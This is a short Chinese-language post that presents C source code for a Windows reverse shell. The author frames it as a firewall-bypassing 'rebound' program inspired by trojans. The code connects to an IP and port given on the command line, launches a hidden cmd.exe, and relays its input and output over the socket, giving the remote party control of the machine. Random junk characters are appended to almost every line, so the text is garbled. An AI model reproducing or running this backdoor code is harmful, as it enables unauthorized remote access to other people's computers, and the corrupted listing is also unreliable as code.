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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 a' #-%!]  
'b661,+d  
/* ============================== hD >:WJ  
Rebound port in Windows NT #(aROTV5a  
By wind,2006/7 qZ\zsOnp  
===============================*/ 87<y_P@{  
#include x ;Gyo  
#include %m+MEh"b5  
/mD KQ<  
#pragma comment(lib,"wsock32.lib") f6|3| +  
mH{cGu?  
void OutputShell(); @bqCs^U35  
SOCKET sClient; r]HLO'<]  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /$eEj  
[tD*\\IA  
void main(int argc,char **argv) $}KYpSV  
{ r`B+ KQ4  
WSADATA stWsaData; M;iaNL(  
int nRet; nr-mf]W&  
SOCKADDR_IN stSaiClient,stSaiServer; ItaJgtsV  
dhVwS$O )  
if(argc != 3) GrQl3 Xi  
{ %BG5[ XQ7  
printf("Useage:\n\rRebound DestIP DestPort\n"); \clWrK  
return; so8-e  
} 23OV y^b  
aSF&^/j  
WSAStartup(MAKEWORD(2,2),&stWsaData); $Ilr.6';  
=u'/\nxCF  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @H_LPn  
zcZw}  
stSaiClient.sin_family = AF_INET; sQ)4kF&,  
stSaiClient.sin_port = htons(0); F`- [h )e.  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); kcOpO<oE  
@B^'W'&C  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]yIy~V  
{ wlpbfO e/  
printf("Bind Socket Failed!\n"); ):|)/ZiC'  
return; ?Jr<gn^D  
} /N^+a-.Qd  
zp9 ?Ia  
stSaiServer.sin_family = AF_INET; CD tYj  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Q-au)R,  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -[`W m7en  
5:PZ=jPR  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) B}FF |0<  
{ z::2O/ho  
printf("Connect Error!"); C=b5[, UCB  
return; C {,d4KG  
} (i?^g &  
OutputShell(); 6h,'#|:d  
} #[xNE C)  
C`#N Q*O  
void OutputShell() .^NV e40O  
{ (\I =v".  
char szBuff[1024]; }I10hy~W  
SECURITY_ATTRIBUTES stSecurityAttributes; qB:`tHy  
OSVERSIONINFO stOsversionInfo; 'H9~rq7  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :Aa^afjJw  
STARTUPINFO stStartupInfo; lxz %b C@  
char *szShell; e5/_Vga  
PROCESS_INFORMATION stProcessInformation; .o8Gi*PEY  
unsigned long lBytesRead; 1k~jVC2VA  
8xv\Zj+  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); o{hKt?  
G`P+J  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;8v5 qz  
stSecurityAttributes.lpSecurityDescriptor = 0; ( 0h]<7  
stSecurityAttributes.bInheritHandle = TRUE; i~9)Hz;!  
Cn<kl^!Q-  
|S8pq4eKJ_  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); C,]Ec2  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); GGuLxc?(  
z?aD Oh  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); NAU<?q<)  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \wCL)t.cX  
stStartupInfo.wShowWindow = SW_HIDE; Mzd}9x$'J  
stStartupInfo.hStdInput = hReadPipe; 2uHp%fv;  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; fI|1@e1  
?c+;  
GetVersionEx(&stOsversionInfo); 6GN'rVr!Z  
;uDFd04w [  
switch(stOsversionInfo.dwPlatformId) ] QEw\4M?=  
{ c9[5)  
case 1: o EN_,cUp  
szShell = "command.com"; q ^gEA5  
break; H:_`]X"  
default: O(d'8`8  
szShell = "cmd.exe"; k$>T(smh  
break; pi{ahuI#_o  
} + ThKqC_  
-5[GX3h0  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;$i'A&)OC  
)/JC.d#  
send(sClient,szMsg,77,0); a=O!\J  
while(1) Kv7NCpq'  
{ O?!"15  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %'HUC>ChN  
if(lBytesRead) >']H)c'2  
{ 9<ayQ*  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7ou^wt+%  
send(sClient,szBuff,lBytesRead,0); iI1t P  
} Ame%:K!t  
else ^:j$p,0e*S  
{ %([c4el>\F  
lBytesRead=recv(sClient,szBuff,1024,0); |(<L!6  
if(lBytesRead<=0) break; WToAT;d2h  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ]*|K8&jxl  
} ||4Dtg K  
} h]#)41y<  
D/WS  
return; hA8 zXk/'8  
}
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